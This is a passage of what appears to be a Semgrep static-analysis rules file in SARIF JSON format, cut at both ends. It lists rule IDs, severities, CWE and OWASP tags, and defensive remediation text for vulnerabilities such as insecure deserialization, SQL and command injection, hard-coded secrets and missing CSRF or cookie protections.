[https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n - [https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption](https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/09-Testing_for_Weak_Cryptography/04-Testing_for_Weak_Encryption)\n","text":"This hashing algorithm is insecure. If this hash is used in a security context, such as password hashing, it should be converted to a stronger hashing algorithm."},"helpUri":"https://semgrep.dev/r/python.rsa.rsa-insecure-hash.rsa-insecure-hash","id":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","name":"python.rsa.rsa-insecure-hash.rsa-insecure-hash","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.rsa.rsa-insecure-hash.rsa-insecure-hash"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/marshal.html](https://docs.python.org/3/library/marshal.html)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://numpy.org/doc/stable/reference/generated/numpy.load.html](https://numpy.org/doc/stable/reference/generated/numpy.load.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. Using `pickle` for object deserialization can lead to insecure deserialization vulnerabilities. The `numpy.load()` function allows `pickle` for object deserialization. This behaviour is turned off by default in version 1.16.3. If the usage of `pickle` was intentionally allowed, then make sure you load data only from trusted sources. If it was not intentional, don't explicitly set `allow_pickle` to `True`, as the numpy library is now otherwise secure against these types of attacks."},"helpUri":"https://semgrep.dev/r/python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","id":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","name":"python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.deserialization.tainted-numpy-pickle-django.tainted-numpy-pickle-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"help":{"markdown":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override)\n - [https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md](https://github.com/nodesecurity/eslint-plugin-security/blob/master/docs/bypass-connect-csrf-protection-by-abusing.md)\n","text":"Detected use of express.csrf() middleware before express.methodOverride(). This can allow GET requests (which are not checked by csrf) to turn into POST requests later."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","id":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","name":"javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.detect-no-csrf-before-method-override.detect-no-csrf-before-method-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"help":{"markdown":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning)\n - [https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/LDAP_Injection_Prevention_Cheat_Sheet.html)\n","text":"An object-returning LDAP search will allow attackers to control the LDAP response. This could lead to Remote Code Execution."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","id":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","name":"java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning","properties":{"precision":"very-high","tags":["CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.ldap-entry-poisoning.ldap-entry-poisoning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"help":{"markdown":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"This tag is missing an 'integrity' subresource integrity attribute. The 'integrity' attribute allows for the browser to verify that externally hosted files (for example from a CDN) are delivered without unexpected manipulation. Without this attribute, if an attacker can modify the externally hosted resource, this could lead to XSS and other types of attacks. To prevent this, include the base64-encoded cryptographic hash of the resource (file) you’re telling the browser to fetch in the 'integrity' attribute for all externally hosted files."},"helpUri":"https://semgrep.dev/r/html.security.audit.missing-integrity.missing-integrity","id":"html.security.audit.missing-integrity.missing-integrity","name":"html.security.audit.missing-integrity.missing-integrity","properties":{"precision":"very-high","tags":["CWE-353: Missing Support for Integrity Check","LOW CONFIDENCE","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: html.security.audit.missing-integrity.missing-integrity"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-express.mongoose-express","id":"javascript.express.db.mongoose-express.mongoose-express","name":"javascript.express.db.mongoose-express.mongoose-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-express.mongoose-express"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","id":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","name":"kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.generic.secrets.setpassword-hardcoded.setpassword-hardcoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default)\n - [https://docs.python.org/3/library/os.html](https://docs.python.org/3/library/os.html)\n - [https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module](https://docs.python.org/3/library/subprocess.html#using-the-subprocess-module)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n - [https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html](https://stackless.readthedocs.io/en/v2.7.16-slp/library/commands.html)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. Untrusted input in a command can lead to command injection, allowing attackers to execute arbitrary commands and gain control of the system. To prevent this: 1. Avoid direct command execution: Don't run OS commands with user input directly. 2. Validate and sanitize input: Ensure input is safe by removing or escaping dangerous characters. 3. (preferred) Use safe methods: Use `subprocess.run` without `shell=True` to safely execute commands, as it doesn't call a system shell by default. If `shell=True` is necessary, properly quote and escape all input to prevent shell injection. This is a secure by default approach."},"helpUri":"https://semgrep.dev/r/python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","id":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","name":"python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.os.tainted-os-command-stdlib-secure-default.tainted-os-command-stdlib-secure-default"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. PyYAML's `yaml` module is as powerful as `pickle` and so may call auny Python function. It is recommended to secure your application by using `yaml.SafeLoader` or `yaml.CSafeLoader`."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","id":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","name":"python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pyyaml-flask.tainted-pyyaml-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"help":{"markdown":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off)\n - [https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/](https://www.saotn.org/dont-turn-off-curlopt_ssl_verifypeer-fix-php-configuration/)\n","text":"SSL verification is disabled but should not be (currently CURLOPT_SSL_VERIFYPEER= $IS_VERIFIED)"},"helpUri":"https://semgrep.dev/r/php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","id":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","name":"php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.curl-ssl-verifypeer-off.curl-ssl-verifypeer-off"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","id":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","name":"go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-empty-key.oauth2-empty-key"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"help":{"markdown":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.safestring.mark_safe)\n - [https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.0/ref/utils/#django.utils.html.format_html)\n","text":"'mark_safe()' is used to mark a string as \"safe\" for HTML output. This disables escaping and could therefore subject the content to XSS attacks. Use 'django.utils.html.format_html()' to build HTML for rendering instead."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.avoid-mark-safe.avoid-mark-safe","id":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","name":"python.django.security.audit.avoid-mark-safe.avoid-mark-safe","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.avoid-mark-safe.avoid-mark-safe"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-secure-false.django-cookie-secure-false","id":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","name":"python.django.web.django-cookie-secure-false.django-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-secure-false.django-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"help":{"markdown":"This call turns off CSRF protection allowing CSRF attacks against the application\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection)\n - [https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection](https://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html#method-i-skip_forgery_protection)\n","text":"This call turns off CSRF protection allowing CSRF attacks against the application"},"helpUri":"https://semgrep.dev/r/ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","id":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","name":"ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection","properties":{"precision":"very-high","tags":["CWE-352: Cross-Site Request Forgery (CSRF)","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.audit.rails-skip-forgery-protection.rails-skip-forgery-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","id":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","name":"csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.system.sqlconnectionstringbuilder-hardcoded-secret.sqlconnectionstringbuilder-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"User data flows into the host portion of this manually-constructed HTML. This can introduce a Cross-Site-Scripting (XSS) vulnerability if this comes from user-provided input. Consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/javascript.express.security.injection.raw-html-format.raw-html-format","id":"javascript.express.security.injection.raw-html-format.raw-html-format","name":"javascript.express.security.injection.raw-html-format.raw-html-format","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.injection.raw-html-format.raw-html-format"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.diesel.pg-connection-url.pg-connection-url)\n - [https://docs.diesel.rs/master/diesel/index.html](https://docs.diesel.rs/master/diesel/index.html)\n - 